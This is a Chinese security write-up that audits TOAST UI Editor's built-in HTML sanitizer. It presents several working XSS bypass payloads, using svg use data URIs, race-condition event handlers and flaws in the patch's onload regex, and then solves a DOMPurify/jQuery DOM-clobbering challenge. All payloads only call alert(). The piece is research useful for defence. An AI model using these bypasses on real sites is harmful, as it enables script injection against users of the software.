TOAST Tui Editor是一款富文本Markdown编辑器,用于给HTML表单提供Markdown和富文本编写支持。最近我们在工作中需要使用到它,相比于其他一些Markdown编辑器,它更新迭代较快,功能也比较强大。另外,它不但提供编辑器功能,也提供了渲染功能(Viewer),也就是说编辑和显示都可以使用Tui Editor搞定。
Tui Editor的Viewer功能使用方法很简单:
// 导入 Toast UI Editor 的 Viewer 组件
import Viewer from '@toast-ui/editor/dist/toastui-editor-viewer';
// 导入 Viewer 组件的样式文件
import '@toast-ui/editor/dist/toastui-editor-viewer.css';
// 创建一个 Viewer 实例
const viewer = new Viewer({
// 指定 Viewer 要渲染到的 DOM 元素,这里通过选择器找到 id 为 'viewer' 的元素
el: document.querySelector('#viewer'),
// 设置 Viewer 的高度为 600px
height: '600px',
// 设置 Viewer 的初始值为 Markdown 格式的标题
initialValue: `# Markdown`
});
调用后,Markdown会被渲染成HTML并显示在#viewer
的位置。那么我比较好奇,这里是否会存在XSS。
在Markdown编辑器的预览(Preview)位置也是使用Viewer,但是大部分编辑器的预览功能即使存在XSS也只能打自己(self-xss),但Tui Editor将预览功能提出来作为一个单独的模块,就不仅限于self了。
代码审计第一步,先理解整个程序的结构与工作流程,特别是处理XSS的部分。
常见的Markdown渲染器对于XSS问题有两种处理方式:
在渲染的时候格外注意,在写入标签和属性的时候进行实体编码
渲染时不做任何处理,渲染完成以后再将整个数据作为富文本进行过滤
相比起来,后一种方式更加安全(它的安全主要取决于富文本过滤器的安全性)。前一种方式的优势是,不会因为二次过滤导致丢失一些正常的属性,另外少了一遍处理效率肯定会更高,它的缺点是一不注意就可能出问题,另外也不支持直接在Markdown里插入HTML。
对,Markdown里是可以直接插入HTML标签的,可以将Markdown理解为HTML的一种子集。
Tui Editor使用了第二种方式,我在他代码中发现了一个默认的HTML sanitizer,在用户没有指定自己的sanitizer时将使用这个内置的sanitizer:https://github.com/nhn/tui.editor/blob/48a01f5/apps/editor/src/sanitizer/htmlSanitizer.ts
我的目标就是绕过这个sanitizer来执行XSS。代码不多,总结一下大概的过滤过程是:
先正则直接去除注释与onload属性的内容
将上面处理后的内容,赋值给一个新创建的div的innerHTML属性,建立起一颗DOM树
用黑名单删除掉一些危险DOM节点,比如iframe、script等
用白名单对属性进行一遍处理,处理逻辑是
/href|src|background/i
的属性,进行额外处理
处理完成后的DOM,获取其HTML代码返回
弄清楚了处理过程,我就开始进行绕过尝试了。
这个过滤器的特点是,标签名黑名单,属性名白名单。on属性不可能在白名单里,所以我首先想到找找那些不需要属性的Payload,或者属性是白名单里的Payload,比如:
<script>alert(1)</script>
<iframe src="javascript:alert(1)">
<iframe srcdoc="<img src=1 onerror=alert(1)>"></iframe>
<form><input type=submit formaction=javascript:alert(1) value=XSS>
<form><button formaction=javascript:alert(1)>XSS
<form action=javascript:alert(1)><input type=submit value=XSS>
<a href="javascript:alert(1)">XSS</a>
比较可惜的是,除了a标签外,剩余的标签全在黑名单里。a这个常见的payload也无法利用,原因是isXSSAttribute函数对包含href、src、background三个关键字的属性进行了特殊处理:
const reXSSAttr = /href|src|background/i;
const reXSSAttrValue = /((java|vb|live)script|x):/i;
const reWhitespace = /[ \t\r\n]/g;
function isXSSAttribute(attrName: string, attrValue: string) {
return attrName.match(reXSSAttr) && attrValue.replace(reWhitespace, '').match(reXSSAttrValue);
}
首先将属性值中的空白字符都去掉,再进行匹配,如果发现存在javascript:
关键字就认为是XSS。
这里处理的比较粗暴,而且也无法使用HTML编码来绕过关键字——原因是,在字符串赋值给innerHTML的时候,HTML属性中的编码已经被解码了,所以在属性检查的时候看到的是解码后的内容。
所以,以下三类Payload会被过滤:
<a href="javasc ript:alert(1)">XSS</a>
<a href="javasc	ript:alert(1)">XSS</a>
<a href="javascript:alert(1)">XSS</a>
又想到了svg,svg标签不在黑名单中,而且也存在一些可以使用伪协议的地方,比如:
<svg><a xlink:href="javascript:alert(1)"><text x="100" y="100">XSS</text></a>
因为reXSSAttr
这个正则并没有首尾定界符,所以只要属性名中存在href关键字,仍然会和a标签一样进行检查,无法绕过。
此时我想到了svg的use标签,use的作用是引用本页面或第三方页面的另一个svg元素,比如:
<svg>
<circle id="myCircle" cx="5" cy="5" r="4" stroke="blue"/>
<use href="#myCircle"></use>
</svg>
use的href属性指向那个被它引用的元素。但与a标签的href属性不同的是,use href不能使用JavaScript伪协议,但可以使用data:协议。
比如:
<svg><use href="data:image/svg+xml,<svg id='x' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' width='100' height='100'><a xlink:href='javascript:alert(1)'><rect x='0' y='0' width='100' height='100' /></a></svg>#x"></use></svg>
data协议中的文件必须是一个完整的svg,而且整个data URL的末尾,需要有一个锚点#x
来指向内部这个被引用的svg。
对于XSS sanitizer来说,这个Payload只有svg、use两个标签和href一个属性,但因为use的引用特性,所以data协议内部的svg也会被渲染出来。
但是还是由于前面说到的isXSSAttribute
函数,href属性中的javascript:
这个关键字仍然会被拦截。解决方法有两种。
既然是data:协议,那自然能让人想到base64编码。但这里要注意的是,URL锚点#x
是在编码外的,不能把这部分编码进base64,否则无法引用成功。
最后构造的Payload是:
<svg><use href="data:image/svg+xml;base64,PHN2ZyBpZD0neCcgeG1sbnM9J2h0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnJyAKICAgIHhtbG5zOnhsaW5rPSdodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rJyB3aWR0aD0nMTAwJyBoZWlnaHQ9JzEwMCc+PGEgeGxpbms6aHJlZj0namF2YXNjcmlwdDphbGVydCgxKSc+PHJlY3QgeD0nMCcgeT0nMCcgd2lkdGg9JzEwMCcgaGVpZ2h0PScxMDAnIC8+PC9hPjwvc3ZnPg#x"></use></svg>
在当年浏览器filter还存在的时候,曾可以通过ISO-2022-KR、ISO-2022-JP编码来绕过auditor:浏览器安全一 / Chrome XSS Auditor bypass | 离别歌
ISO-2022-JP编码在解析的时候会忽略\x1B\x28\x42
,也就是%1B%28B
。
在最新的Chrome中, ISO-2022-JP仍然存在并可以使用,而data:协议也可以指定编码:RFC 2397 - The "data" URL scheme
两者一拍即合,构造出的Payload为:
<svg><use href="data:image/svg+xml;charset=ISO-2022-JP,<svg id='x' xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' width='100' height='100'><a xlink:href='javas%1B%28Bcript:alert(1)'><rect x='0' y='0' width='100' height='100' /></a></svg>#x"></use></svg>
这两种绕过方式,都基于svg和use,缺点就是需要点击触发,在实战中还是稍逊一筹,所以我还需要想到更好的Payload。
这个代码是一种很典型地可以使用Dom Clobbering来利用的代码。关于Dom Clobbering的介绍,可以参考下面这两篇文章:
DOM clobbering | Web Security Academy
简单来说,对于一个普通的HTML标签来说,当el是某个元素时,el.attributes
指的是它的所有属性,比如这里的href和target:
<a href="#link" target="_blank">test</a>
这也是过滤器可以遍历el.attributes
并删除白名单外的属性的一个理论基础。
但Dom Clobbering是一种对DOM节点属性进行劫持的技术。比如下面这段HTML代码,当el是form这个元素的时候,el.attributes
的值不再是form的属性,而是<input>
这个元素:
<form><input id="attributes" /></form>
这里使用一个id为attributes的input元素劫持了原本form的attributes,el.attributes
不再等于属性列表,自然关于移除白名单外属性的逻辑也就无从说起了。这就是Dom Clobbering在这个小挑战里的原理。
回到Tui Editor的案例。Tui Editor的sanitizer在移除白名单外属性之前,还移除了一些黑名单的DOM元素,其中就包含<form>
。
在Dom Clobbering中,<form>
是唯一可以用其子标签来劫持他本身属性的DOM元素(HTMLElement),但是它被黑名单删掉了。来看看删除时使用的removeUnnecessaryTags
函数:
// 定义一个函数,用于在指定的元素内查找匹配选择器的节点,并以数组形式返回
function findNodes(element: Element, selector: string) {
// 转换查询到的节点列表为数组
const nodeList = toArray(element.querySelectorAll(selector));
// 如果找到了匹配的节点,则返回节点数组
if (nodeList.length) {
return nodeList;
}
// 如果未找到匹配的节点,则返回空数组
return [];
}
// 定义一个函数,用于移除指定的节点
function removeNode(node: Node) {
// 如果节点有父节点,则从其父节点中移除该节点
if (node.parentNode) {
node.parentNode.removeChild(node);
}
}
// 定义一个函数,用于移除指定 HTML 元素中的不必要的标签
function removeUnnecessaryTags(html: HTMLElement) {
// 调用 findNodes 函数,查找所有需要移除的标签节点
const removedTags = findNodes(html, tagBlacklist.join(','));
// 遍历找到的所有需要移除的节点,并逐一调用 removeNode 函数进行移除
removedTags.forEach((node) => {
removeNode(node);
});
}
思考了比较久这三个函数是否可以用Dom Clobbering利用。其中最可能被利用的点是删除的那个操作:
if (node.parentNode) {
node.parentNode.removeChild(node);
}
我尝试用下面这个代码劫持了node.parentNode
,看看效果:
<form><input id=parentNode></form>
经过调试发现,这样的确可以劫持到node.parentNode
,让node.parentNode
不再是node
的父节点,而变成他的子节点——<input>
。
但是劫持后,执行removeChild操作时,因为这个函数内部有检查,所以会爆出Failed to execute 'removeChild' on 'Node': The node to be removed is not a child of this node.
的错误:
另外,Dom Clobbering也无法用来劫持函数,所以这个思路也无疾而终了。
最终我还是没找到利用Dom Clobbering来绕过Tui Editor的XSS sanitizer的方法,如果大家有好的想法,可以下来和我交流。
到现在,我仍然没有找到一个在Tui Editor中执行无交互XSS的方法。
这个时候我开始翻history,我发现就在不到一个月前,Tui Editor曾对HTML sanitizer进行了修复,备注是修复XSS漏洞,代码改动如下:
在将字符串html赋值给root.innerHTML
前,对这个字符串进行了正则替换,移除其中的onload=
关键字。
我最开始不是很明白这样做的用意,因为onload这个属性在后面白名单移除的时候会被删掉,在这里又做一次删除到底意义何在。后来看到了单元测试的case并进行调试以后,我才明白了原因。
在Tui Editor的单元测试中增加了这样一个case:
<svg><svg onload=alert(1)>
平平无奇,但我将其放到未修复的HTML sanitizer中竟然绕过了属性白名单,成功执行。这就是条件竞争。
这里所谓的“条件竞争”,竞争的其实就是这个onload属性在被放进DOM树中开始,到在后续移除函数将其移除的中间这段时间——只要这段代码被放进innerHTML后立即触发onload,这样即使后面它被移除了,代码也已经触发执行了。
那么想要找到这样一个Payload,它需要满足下面两个条件:
在代码被放进innerHTML的时候会被触发
事件触发的时间需要在被移除以前
第一个条件很好满足,比如最常用的XSS Payload <img src=1 onerror=alert(1)>
,它被插入进innerHTML的时候就可以触发,而无需等待这个root节点被写入页面:
const root = document.createElement('div');
root.innerHTML = `<img src=1 onerror=alert(1)>`
相比起来,<svg onload=alert(1)>
、<script>alert(1)</script>
这两个Payload就无法满足这一点。
<img>的Payload是无法满足第二个条件的,因为onerror是在src加载失败的时候触发,中间存在IO操作时间比较久,所以肯定无法在onerror被移除前完成。相对的,下面这两个Payload可以满足条件:
<svg><svg onload=alert(1)>
<details open ontoggle=alert(1)>
那么很幸运,<details open ontoggle=alert(1)>
这个Payload满足了两个条件,成为可以竞争过remove的一个Payload。而Tui Editor因为只考虑了双svg的Payload,所以可以使用它轻松绕过最新的补丁,构造一个无交互XSS。
那么我是否还能再找到一种绕过方式呢?
回看Tui Editor针对<svg><svg onload=alert(1)>
这个Payload的修复方式:
// 匹配 HTML 标签名的正则表达式,必须以字母开头,可以包含字母、数字和短横线
export const TAG_NAME = '[A-Za-z][A-Za-z0-9-]*';
// 匹配带有 onload 属性的标签正则表达式
const reXSSOnload = new RegExp(`(<${TAG_NAME}[^>]*)(onload\\s*=)`, 'ig');
// 清理 HTML 注释的正则表达式
const reComment = /<!--[\s\S]*?-->/g;
// 对传入的 HTML 字符串进行安全性处理
export function sanitizeHTML(html: string) {
// 创建一个虚拟的 div 元素作为根元素
const root = document.createElement('div');
// 如果 html 是字符串类型
if (typeof html === 'string') {
// 去除所有的 HTML 注释
html = html.replace(reComment, '');
// 去除所有带有 onload 属性的标签中的 onload 属性,防止 XSS 攻击
html = html.replace(reXSSOnload, '$1');
// 将处理后的 html 字符串赋值给虚拟的 div 元素的 innerHTML,这会触发浏览器解析和渲染
root.innerHTML = html;
}
// 此时 root 包含了经过处理的安全的 HTML 结构
// 可以继续进行其他操作,如进一步处理 root 中的 DOM 结构
// 返回处理后的 DOM 结构或其他操作结果
return root;
}
增加了一个针对onload的正则(<[A-Za-z][A-Za-z0-9-]*[^>]*)(onload\\s*=)
,将匹配上这个正则的字符串中的onload=
移除。
这个正则是有问题的,主要问题有2个,我根据这两个问题构造了3种绕过方法。
我发现这个正则在标签名[A-Za-z][A-Za-z0-9-]*
的后面,使用了[^>]*
来匹配非>
的所有字符。我大概明白他的意思,他就是想忽略掉所有不是onload的字符,找到下一个onload。
但是还记得正则里的贪婪模式吧,默认情况下,正则引擎会尽可能地多匹配满足当前模式的字符,所以,如果此时有两个onload=
,那么这个[^>]*
将会匹配到第二个,而将它删除掉,而第一个onload=
将被保留。
所以,构造如下Payload将可以绕过补丁:
<svg><svg onload=alert(1) onload=alert(2)>
那么如果将贪婪模式改成非贪婪模式,是否能解决问题呢?
(<[A-Za-z][A-Za-z0-9-]*[^>]*?)(onload\\s*=)
看看这个正则,会发现它分为两个group,(<[A-Za-z][A-Za-z0-9-]*[^>]*?)
和(onload\\s*=)
,在用户的输入匹配上时,第二个group将会被删除,保留第一个group,也就是$1
。
所以,即使改成非贪婪模式,删除掉的是第一个onload=
,第二个onload=
仍然会保留,所以无法解决问题,构造的Payload如下:
<p><svg><svg onload=onload=alert(1)></svg></svg></p>
回看这个[^>]*
,作者的意思是一直往后找onload=
直到标签闭合的位置为止,但是实际上这里有个Bug,一个HTML属性中,也可能存在字符>
,它不仅仅是标签的定界符。
那么,如果这个正则匹配上HTML属性中的一个>
,则会停止向后匹配,这样onload=
也能保留下来。Payload如下:
<svg><svg x=">" onload=alert(1)>
三种Payload都可以用于绕过最新版的Tui Editor XSS过滤器,再加上前面的<details open ontoggle=alert(1)>
,总共已经有4个无需用户交互的POC了。
第一种,用户必须交互,不是最佳
1.利用svg中的use属性,base64编码,绕过javascript关键字
2.利用svg中use属性,charset=ISO-2022-JP 加上chrome中的bug忽略相应字符,导致javascript关键字消失
第二种 无须用户交互
未打补丁,条件竞争有两种解法
3.1 双svg条件竞争<svg><svg onload>
3.2 details 异步事件ontoggle,在黑名单删除details标签前,就已经将ontoggle事件加载进事件队列中,即使删除也会执行.
第三种 绕过补丁中的正则表达式
绕过贪婪匹配
由于贪婪匹配一直会匹配到没有匹配的元素为止,利用两个onload,将会忽略第一个onlad
绕过非贪婪匹配
由于非贪婪只匹配第一个元素,导致第一个onload被删除,第二个onload得以保留
正则表达式bug绕过(严格来说,不算bug,是html的特性)遇到>就结束
总结一下,Tui Editor的Viewer使用自己编写的HTML sanitizer来过滤Markdown渲染后的HTML,而这个sanitizer使用了很经典的先设置DOM的innerHTML,再过滤再写入页面的操作。
我先通过找到白名单中的恶意方法构造了需要点击触发的XSS Payload,又通过条件竞争构造了4个无需用户交互的XSS Payload。其中,后者能够成功的关键在于,一些恶意的事件在设置innerHTML的时候就瞬间触发了,即使后面对其进行了删除操作也无济于事。
虽然作者已经注意到了这一类绕过方法,并进行了修复,但我通过审计它的修复正则,对其进行了绕过。
分析代码:
<!-- Challenge -->
<div>
<h4>Meme Code</h4>
<!-- 文本框,用于显示生成的迷因代码 -->
<textarea class="form-control" id="meme-code" rows="4"></textarea>
<!-- 用于显示通知的 div -->
<div id="notify"></div>
</div>
<script>
/* Utils */
// escape 函数:用于转义特殊字符
const escape = (dirty) => unescape(dirty).replace(/[<>'"=]/g, '');
// memeTemplate 函数:生成迷因的 HTML 模板
const memeTemplate = (img, text) => {
return (
`<style>@import url('https://fonts.googleapis.com/css?family=Oswald:700&display=swap');` +
`.meme-card{margin:0 auto;width:300px}.meme-card>img{width:300px}` +
`.meme-card>h1{text-align:center;color:#fff;background:black;margin-top:-5px;` +
`position:relative;font-family:Oswald,sans-serif;font-weight:700}</style>` +
`<div class="meme-card"><img src="${img}"><h1>${text}</h1></div>`
);
}
// memeGen 函数:生成迷因并显示通知
const memeGen = (that, notify) => {
if (text && img) {
// 生成迷因的 HTML 模板
template = memeTemplate(img, text);
// 如果需要通知,则生成带有通知的 HTML 代码
if (notify) {
html = (`<div class="alert alert-warning" role="alert"><b>Meme</b> created from ${DOMPurify.sanitize(text)}</div>`);
}
// 在1秒后更新页面状态
setTimeout(_ => {
$('#status').remove(); // 移除状态元素
notify ? ($('#notify').html(html)) : ''; // 如果有通知,则显示通知
$('#meme-code').text(template); // 在文本框中显示生成的迷因代码
}, 1000);
}
}
</script>
<script>
/* Main */
// 初始化变量
let notify = false; // 是否显示通知
let text = new URL(location).searchParams.get('text'); // 从 URL 参数中获取文本
let img = new URL(location).searchParams.get('img'); // 从 URL 参数中获取图片地址
if (text && img) {
// 如果文本和图片地址都存在,则生成页面内容
document.write(
`<div class="alert alert-primary" role="alert" id="status">` +
`<img class="circle" src="${escape(img)}" onload="memeGen(this, notify)">` + // 加载图片时调用 memeGen 函数
`Creating meme... (${DOMPurify.sanitize(text)})</div>`
);
} else {
// 如果文本和图片地址不存在,则使用默认的迷因模板
$('#meme-code').text(memeTemplate('https://i.imgur.com/PdbDexI.jpg', 'When you get that WW3 draft letter'));
}
</script>
可控的输入的点有两个text
,img
let text = new URL(location).searchParams.get('text')
let img = new URL(location).searchParams.get('img')
img
作为img标签的src属性被写入,且被过滤了关键符号。
<img class="circle" src="${escape(img)}" onload="memeGen(this, notify)">
const escape = (dirty) => unescape(dirty).replace(/[<>'"=]/g, '');
text
作为文本被渲染,渲染前都经过一次DOMPurify.sanitize处理
//part1
document.write(
...
Creating meme... (${DOMPurify.sanitize(text)})
)
//part2
html = (`<div class="alert alert-warning" role="alert"><b>Meme</b> created from ${DOMPurify.sanitize(text)}</div>`)
notify ? ($('#notify').html(html)) : ''
乍一看经过DOMPurify
后的这些交互点都很安全,但是使用html()
解析会存在标签逃逸问题。
两种解析html的方式:jquery.html&innerhtml。innerHTML
是原生js的写法,Jqury.html()
也是调用原生的innerHTML方法,但是加了自己的解析规则(后文介绍)。
关于两种方式:Jquery.html()
和innerHTMl
的区别我们用示例来看。
对于innerHTML:模拟浏览器自动补全标签,不处理非
<style>
<style>
</style>
<script>alert(1337)//
法标签。同时,<style>
标签中不允许存在子标签(style标签最初的设计理念就不能用来放子标签),如果存在会被当作text解析。因此<style><style/><script>alert(1337)//
会被渲染如下
<style>
<style/><script>alert(1337)//
</style>
对于Jqury.html()
,最终对标签的处理是在htmlPrefilter()
中实现:jquery-src,其后再进行原生innerHTML的调用来加载到页面。
rxhtmlTag = /<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^/>x20trnf]*)[^>]*)/>/gi
jQuery.extend( {
htmlPrefilter: function( html ) {
return html.replace( rxhtmlTag, "<$1></$2>" );
}
...
})
tmp.innerHTML = wrap[ 1 ] + jQuery.htmlPrefilter( elem ) + wrap[ 2 ];
有意思的是,这个正则表达式在匹配<*/>
之后会重新生成一对标签(区别于直接调用innerHTML)
所以相同的语句<style><style/><script>alert(1337)//
则会被解析成如下形式,成功逃逸<script>
标签。
<style>
<style>
</style>
<script>alert(1337)//
我们知道DOMPurify的工作机制是将传入的payload分配给元素的innerHtml属性,让浏览器解释它(但不执行),然后对潜在的XSS进行清理。由于DOMPurify在对其进行innerHtml
处理时,script
标签被当作style
标签的text处理了,所以DOMPurify不会进行清洗(因为认为这是无害的payload),但在其后进入html()时,这个无害payload就能逃逸出来一个有害的script
标签从而xss。
第二个考点是要覆盖变量notify
,只有在notify不为false的时候才能顺利进入html()方法
let notify = false;
document.write(`<img class="circle" src="${escape(img)}" onload="memeGen(this, notify)">`)
const memeGen = (that, notify) => {
if (notify) {
html = (`${DOMPurify.sanitize(text)}`)
}
...
$('#notify').html(html)
}
首先尝试用DOM-clobbering创造一个id为notify
的变量,但是这种方式不允许覆盖已经存在的变量。
<html>
<img id=notify>
<img src="" onerror="memeGen(notify)">
<script>
const memeGen = (notify) =>{
consol.log(notify); //false
}
let notify = false;
</script>
</html>
不过我们依然可以借助标签的name属性值,为document对象创造一个变量document.notify
,熟悉dom-clobbing的都很了解这种方式也常用来覆盖document
的各种属性/方法。然而这道题不需要覆盖什么,我们就先把它当作一种创造变量的手段,后文再讲。我们先看简单了解一下JS的作用域
在JS的函数中,一个变量是否可访问要看它的作用域(scope),变量的作用域有全局作用域和局部作用域(函数作用域)两种,这里举个最简单的例子如下
function init() {
var inVariable = "local";
}
init();
console.log(inVariable); //Uncaught ReferenceError: inVariable is not defined
这就是因为函数内部用var
声明的inVariaiable
属于局部作用域范畴,在全局作用域没有声明。我们可以这样理解:作用域就是一个独立的地盘,让变量不会外泄、暴露出去。也就是说作用域最大的用处就是隔离变量,不同作用域下同名变量不会有冲突
在寻找一个变量可访问性时根据作用域链来查找的,作用域链中的下一个变量对象来自包含(外部)环境,而再下一个变量对象则来自下一个包含环境。这样,一直延续到全局执行环境;全局执行环境的变量对象始终都是作用域链中的最后一个对象。
而在Javascript event handler(时间处理程序)中,也就是onxx事件中,scope chain的调用就比较有意思了。它会先去判断当前的scope是否有局部变量notify
,若不存在向上查找window.document.notify
,仍不存在继续向上到全局执行环境即window.notify
为止。
这样说起来可能有点绕,我们来看下面这个例子就明白了
<img src="" onerror="console.log(nickname)"> //pig
<img src="" onerror="var nickname='dog';console.log(nickname)"> //dog
<script>
window.document.nickname = 'pig';
window.nickname = 'cat';
<script>
打印的结果分别为pig
和dog
。原因就是在第二个img标签中,onerror的上下文存在局部作用域的nickname变量,不用再向上查找了。
同时注意到题目触发memeGen
函数的方式也恰好是写在event handler中—即onload
内。所以污染了document.notify
就相当于污染了将要传递的实参notify
,这也就是为什么需要之前的dom-clobbing。
其实这也是一开始我们可以发现题目给出的代码有一处是 text & img
const memeGen = (that, notify) => {
if (text && img) {
template = memeTemplate(img, text);
...
}
};
memeGen函数在函数内找不到text,onload 的作用域也找不到text,就会去 script下面找,而多个 script 属于同一个作用域,所以对于函数当中的 text 以及 img ,它是在下一块 JS 代码段定义的
<script>
let notify = false;
let text = new URL(location).searchParams.get("text");
let img = new URL(location).searchParams.get("img");
...
</script>
综上所述,配合我们之前的内容,最终 payload 如下:
<img name=notify><style><style/><script>alert()//
最终传参:
img=valid_img_url&text=<img name%3dnotify><style><style%2F><script>alert()%2F%2F